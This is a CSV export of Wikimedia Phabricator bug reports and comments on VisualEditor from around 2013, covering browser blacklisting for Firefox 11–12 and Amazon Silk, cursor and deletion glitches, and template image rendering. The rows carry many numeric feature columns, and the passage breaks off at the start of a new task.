+234651,VisualEditor: Browser blacklist issues (tracking),"There's no real point adding Bugzilla aliases, as Phabricator doesn't support them so they're going to get dropped in a matter of weeks.",,,1415031694,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2liv3ois3nnjarqe73d5,task_subcomment,,True,c1,3,True,,,70,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+234644,VisualEditor: Browser blacklist issues (tracking),"I'm going to add MSIE to the list, given that we really should get it working again.",,,1373041481,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2liv3ois3nnjarqe73d5,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+52780,VisualEditor: Firefox 11 and 12 also need to be blacklisted,"Following up to T52534, at least currently, Firefox 11 and 12 are broken as well. The first version of Firefox that at least loads the editor is Firefox 13.
+
+Reported by user for Firefox 12, and confirmed in crossbrowsertesting.com.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Medium,50.0,1372986900,1373048811.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-zzmgok2p56thwvxkpnrv,task_description,resolved,True,c1,3,False,False,True,0,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1
+234597,VisualEditor: Firefox 11 and 12 also need to be blacklisted,This is now merged.,,,1373048811,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zzmgok2p56thwvxkpnrv,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+234591,VisualEditor: Firefox 11 and 12 also need to be blacklisted,"Change 72119 abandoned by Jforrester:
+Blacklist Firefox 11 and 12
+
+https://gerrit.wikimedia.org/r/72119",,,1373048537,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zzmgok2p56thwvxkpnrv,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+234587,VisualEditor: Firefox 11 and 12 also need to be blacklisted,"Change 72119 had a related patch set uploaded by Jforrester:
+Blacklist Firefox 11 and 12
+
+https://gerrit.wikimedia.org/r/72119",,,1373048483,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zzmgok2p56thwvxkpnrv,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+234581,VisualEditor: Firefox 11 and 12 also need to be blacklisted,"Change 72118 abandoned by Jforrester:
+Blacklist Firefox 11 and 12
+
+https://gerrit.wikimedia.org/r/72118",,,1373048462,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zzmgok2p56thwvxkpnrv,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+234576,VisualEditor: Firefox 11 and 12 also need to be blacklisted,"Change 72118 had a related patch set uploaded by Jforrester:
+Blacklist Firefox 11 and 12
+
+https://gerrit.wikimedia.org/r/72118",,,1373048390,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zzmgok2p56thwvxkpnrv,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+234572,VisualEditor: Firefox 11 and 12 also need to be blacklisted,"Change 72107 had a related patch set uploaded by Jforrester:
+Blacklist Firefox 11 and 12
+
+https://gerrit.wikimedia.org/r/72107",,,1373041365,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zzmgok2p56thwvxkpnrv,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+52779,"VisualEditor: Deleting a sole LI in front of a GC block doesn't, but selects the GC block","May be dup of 50213? 
+
+User:Joe Decker reports:
+
+The revision of an article here (http://en.wikipedia.org/w/index.php?title=David_Busic&oldid=562867623) has an interesting thing, a completely empty bulleted list item, which does not normally display when the article is read. It is just below the reflist, you can both confirm this in the old-style editor, and see it visually in VisualEditor. However, I have found myself unable to delete that from within Visual Editor without also deleting the preceding reference list, which is a little wacky from a UI point of view. E.g., I attempt to backspace over the bullet and I lose a reference list. Reproduced on Chrome and Safari. --j⚛e deckertalk 18:48, 4 July 2013 (UTC)
+
+Replicated by me.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1372980600,1410034029.0,PHID-USER-ttyyrgsrkyonct7hizgv,True,,False,PHID-TASK-snnn2o47ucaywt5ufim7,task_description,resolved,True,c1,3,False,False,False,0,,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,1,0,1,0,1,1,0,0,1,1,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,1
+234541,"VisualEditor: Deleting a sole LI in front of a GC block doesn't, but selects the GC block","This now works, probably caused by Ed's re-working of GCNs.",,,1410034029,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-snnn2o47ucaywt5ufim7,task_subcomment,,True,c1,3,True,,,61,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+234533,"VisualEditor: Deleting a sole LI in front of a GC block doesn't, but selects the GC block","Had the same experience in http://en.wikipedia.org/w/index.php?title=The_Mortal_Instruments%3A_City_of_Bones_%28soundtrack%29&diff=566255621&oldid=566255504 . The empty bulleted list here was something in a sort of template used by the initial creator of the article, to vertically separate two comments. The bulleted list is not visible in the article when read, but is visible in VE: so the careful editor goes to delete this rubbish, and deletes the item above (not the hidden comment, but the reflist, in this case). I'm in Firefox 22 on Vista.",,,1375182193,,PHID-USER-7zhn2ep5wvjhxetsbb6n,True,,,PHID-TASK-snnn2o47ucaywt5ufim7,task_subcomment,,True,c1,3,False,,,4,,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,1,0,1,1,0,0,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+52777,VisualEditor: Add Amazon Silk browser to blacklist,"Copied from English Wikipedia:
+
+When I try to use VisualEditor on my Kindle Fire, the article goes into edit mode, but clicking in the article doesn't bring up the keyboard like it does on an iPad. I'm presuming that aading support for the Kindle Fire's Amazon Silk browser isn't on your to do list now. Could you please add this browser to the blacklist? I would like to keep VE on in my preferences so it works when I'm on my PC but not have VE get in the way while on the Kindle. Thanks! GoingBatty (talk) 02:59, 4 July 2013 (UTC)
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1372978080,1391811891.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-smutmksr4slgk2o54suc,task_description,resolved,True,c1,3,False,False,False,0,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+234470,VisualEditor: Add Amazon Silk browser to blacklist,"Change 72108 merged by jenkins-bot:
+Blacklist Amazon Silk
+
+https://gerrit.wikimedia.org/r/72108",,,1391811948,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-smutmksr4slgk2o54suc,task_subcomment,,True,c1,3,False,,,31,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+234465,VisualEditor: Add Amazon Silk browser to blacklist,"Change 110989 merged by jenkins-bot:
+jquery.client: Recognise Amazon Silk browser
+
+https://gerrit.wikimedia.org/r/110989",,,1391810830,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-smutmksr4slgk2o54suc,task_subcomment,,True,c1,3,False,,,31,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+234462,VisualEditor: Add Amazon Silk browser to blacklist,"Change 110989 had a related patch set uploaded by Alex Monk:
+jquery.client: Recognise Amazon Silk
+
+https://gerrit.wikimedia.org/r/110989",,,1391459065,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-smutmksr4slgk2o54suc,task_subcomment,,True,c1,3,False,,,31,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+234459,VisualEditor: Add Amazon Silk browser to blacklist,"(In reply to comment #6)
+> (In reply to comment #4)
+> > Well, here's the sample UA strings, plop those in your tests. :)
+> > 
+> > https://developer.amazon.com/sdk/fire/specifications.html#UserAgentStrings
+> 
+> That redirects me to another page without a user agent section...
+
+Now apparently moved to:
+
+http://docs.aws.amazon.com/silk/latest/developerguide/user-agent.html",,,1391392671,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-smutmksr4slgk2o54suc,task_subcomment,,True,c1,3,True,,,31,,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,1,1,1,1,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,1
+234456,VisualEditor: Add Amazon Silk browser to blacklist,"(In reply to comment #4)
+> Well, here's the sample UA strings, plop those in your tests. :)
+> 
+> https://developer.amazon.com/sdk/fire/specifications.html#UserAgentStrings
+
+That redirects me to another page without a user agent section...",,,1391382294,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-smutmksr4slgk2o54suc,task_subcomment,,True,c1,3,True,,,30,,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,1,1,1,1,0,1,1,1,0,0,0,1,1,1,1,1,0,0,0,1
+234453,VisualEditor: Add Amazon Silk browser to blacklist,"Change 72108 had a related patch set uploaded by Jforrester:
+[WIP] Blacklist Amazon Silk
+
+https://gerrit.wikimedia.org/r/72108",,,1373041368,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-smutmksr4slgk2o54suc,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+234449,VisualEditor: Add Amazon Silk browser to blacklist,"Well, here's the sample UA strings, plop those in your tests. :)
+
+https://developer.amazon.com/sdk/fire/specifications.html#UserAgentStrings",,,1373039832,,PHID-USER-yek7ymogrv4qc67oilhf,True,,,PHID-TASK-smutmksr4slgk2o54suc,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+234441,VisualEditor: Add Amazon Silk browser to blacklist,"(In reply to comment #2)
+> I found emulator images for the 2nd-gen Kindle Fires and HDs, but they don't
+> include the browser.
+> 
+> *headdesk*
+
+Mostly we just want to verify that any blacklisting we put in jquery.client based on UA string actually works. :-)",,,1373036364,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-smutmksr4slgk2o54suc,task_subcomment,,True,c1,3,True,,,0,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+234433,VisualEditor: Add Amazon Silk browser to blacklist,"I found emulator images for the 2nd-gen Kindle Fires and HDs, but they don't include the browser.
+
+*headdesk*",,,1373036277,,PHID-USER-yek7ymogrv4qc67oilhf,True,,,PHID-TASK-smutmksr4slgk2o54suc,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+234426,VisualEditor: Add Amazon Silk browser to blacklist,"Note that I've got a first-gen Kindle Fire in my collection at the office, if it needs testing. I don't have the newer generations (Android 4-based) though.",,,1373033179,,PHID-USER-yek7ymogrv4qc67oilhf,True,,,PHID-TASK-smutmksr4slgk2o54suc,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,1,1,0,0,1,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+52776,VisualEditor: Alien shield is mis-sized for inline content (assumes it's just one line of text high),"Copied from English Wikipedia:
+
+Hovering over a displayed math formula in <math> tags is supposed to get a tooltip that explains that the formula can't be edited in the VisualEditor. It sort of works; but it has trouble with tall formulas. The tooltip doesn't show up unless the cursor is moved to the middle of the formula. For some formulas this is OK, as users can be reasonably expected to put their cursor in the middle. For other formulas it's not. [See the link for] the opening of [[Companion matrix]], which has both a formula that works and one that doesn't:
+
+http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=562893799#Math_tags
+
+
+It would be more helpful if the tooltip appeared whenever the cursor was over any pixel of the formula, not just a middle pixel. Ozob (talk) 01:21, 4 July 2013 (UTC)
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1372977300,1412608037.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-ubeo6o33vz5bavixyf3q,task_description,resolved,True,c1,3,False,False,False,0,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,1,1,1,1,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+234386,VisualEditor: Alien shield is mis-sized for inline content (assumes it's just one line of text high),"This was actually a different issue (slightly), so separating it. Still FIXED, though. :-)",,,1412608037,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ubeo6o33vz5bavixyf3q,task_subcomment,,True,c1,3,True,,,66,,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0
+234379,VisualEditor: Alien shield is mis-sized for inline content (assumes it's just one line of text high),"
+
+*** This bug has been marked as a duplicate of bug 64625 ***",,,1412589972,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-ubeo6o33vz5bavixyf3q,task_subcomment,,True,c1,3,False,,,66,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+52726,VisualEditor: Moving cursor up or down before a reference behaves as page up/down in Firefox,"Use Firefox 20 or 21.
+
+Place the cursor in front of a [1] ref. Note how the cursor doesn't seem to jump to another line, but instead go to end of page or toolbar.
+
+I don't see this on Safari 6.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53750",Medium,50.0,1372926900,1399419638.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-joexgd3r5nmcwbofqrlr,task_description,resolved,True,c1,3,True,False,False,0,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+231402,VisualEditor: Moving cursor up or down before a reference behaves as page up/down in Firefox,"(In reply to James Forrester from comment #3)
+> I believe that it's now fixed, yes. The cursor getting stuck on down is odd
+> and I'll make a new bug for that.
+
+Now in bug 64983.",,,1399419769,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-joexgd3r5nmcwbofqrlr,task_subcomment,,True,c1,3,True,,,44,,0,0,0,0,0,1,1,0,0,0,1,1,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+231395,VisualEditor: Moving cursor up or down before a reference behaves as page up/down in Firefox,"I believe that it's now fixed, yes. The cursor getting stuck on down is odd and I'll make a new bug for that.",,,1399419638,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-joexgd3r5nmcwbofqrlr,task_subcomment,,True,c1,3,True,,,44,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+231388,VisualEditor: Moving cursor up or down before a reference behaves as page up/down in Firefox,"I've tested a few times, and I am not seeing a 'page down' effect now.
+
+However using the arrow keys anywhere near references in VE cause the arrow keys to start misbehaving.
+
+Steps to reproduce:
+1. Load https://en.wikipedia.org/wiki/Jos%C3%A9_Cl%C3%A1udio_Ribeiro_da_Silva?veaction=edit which will place cursor at the beginning of the first line of text.
+2. Press the right arrow until it moves past the reference at the end of the first paragraph, into the second paragraph.
+3. Press up arrow
+
+Result: The cursor disappears
+
+Steps to reproduce:
+1. Load https://en.wikipedia.org/wiki/Jos%C3%A9_Cl%C3%A1udio_Ribeiro_da_Silva?veaction=edit which will place cursor at the beginning of the first line of text.
+2. Press right arrow (or use mouse) to place cursor further right on the first paragraph relative to the position of the first reference in the first paragraph.
+4. Press down. (the cursor should now be directly right of of the first reference)
+5. Press down.
+
+Result: The cursor is stuck on the first reference.
+
+(The same result can be achieved by placing the cursor in the second paragraph and pressing up)",,,1381626499,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-joexgd3r5nmcwbofqrlr,task_subcomment,,True,c1,3,False,,,14,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+231380,VisualEditor: Moving cursor up or down before a reference behaves as page up/down in Firefox,"Also occurs on Firefox 22, Windows & Linux & OSX.
+
+Cant reproduce on Chrome.",,,1373950590,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-joexgd3r5nmcwbofqrlr,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+52723,VisualEditor: Generated blocks that create images directly aren't converted to use MW's skin,"It seems that the visual editor can glitch a bit when it initially renders a template. Yet when the template is altered without changes this is corrected. (Firefox 22, Mono skin)
+
+'''Steps to reproduce:'''
+* Navigate to https://en.wikipedia.org/w/index.php?title=User:Excirial/Playground/Content&oldid=562754871 (Historical revision of my sandbox)
+* Edit the page in the Visual Editor. You will immediately notice that the template isn't correctly displayed.
+* Enter the template setting screen and just select ""Apply Settings"".
+
+Once that is done, the template is rendered correctly. Note that the same template was initially added trough the visual editor itself and displayed just fine. Only when you open an already saved page it seems to glitch a bit (Until the settings are applied without change - somehow that corrects it). The page reports no changes after applying, so it seems this is just a rendering issue.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1372923480,1660956979.0,PHID-USER-ohetl546bwt5ac2szu5w,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-ftkzim4nufm7ey6vnaq5,task_description,resolved,True,c1,3,False,False,False,0,,0,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,0
+1970716,VisualEditor: Generated blocks that create images directly aren't converted to use MW's skin,"I believe that this is now long-fixed, yes.",,,1660956979,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ftkzim4nufm7ey6vnaq5,task_subcomment,,True,c1,3,True,,,476,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+1970657,VisualEditor: Generated blocks that create images directly aren't converted to use MW's skin,"The test page has been deleted, and this task doesn't have any details about what it contained. Is this still an issue?",,,1660948019,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ftkzim4nufm7ey6vnaq5,task_subcomment,,True,c1,3,True,,,476,,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,1,1,0,0,0,0,0
+231212,VisualEditor: Generated blocks that create images directly aren't converted to use MW's skin,"This is an artefact of VisualEditor using Parsoid to render HTML originally, but the MediaWiki PHP parser for updates. The HTML outputted by the two are normally very similar, except for images - which, until we switch the PHP parser our for Parsoid for rendering read HTML, which will involve re-writing the entire skins system, amongst other minor issues. (See http://parsoid.wmflabs.org/en/User:Excirial/Playground/Content?oldid=562754871 for the HTML returned to VisualEditor - note the use of <figure> rather than <div class=""thumb""> etc.)
+
+This is an image that's created by a template, so we're not re-drawing it; clearly in this case we should. Is this a special case for items that are 'typeof=""mw:Transclusion mw:Image/Frame""', or should we be traversing the template tree for all images inside generated blocks?",,,1373158925,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ftkzim4nufm7ey6vnaq5,task_subcomment,,True,c1,3,True,,,0,,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,0,1,1,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+52707,Separate ve.init and ve.platform,"Our ""init"" hasn't been init for a long time. We load a lot of classes (ext.visualEditor.base and ext.visualEditor.mediawiki) for the ViewPageTarget.
+
+### Goal
+
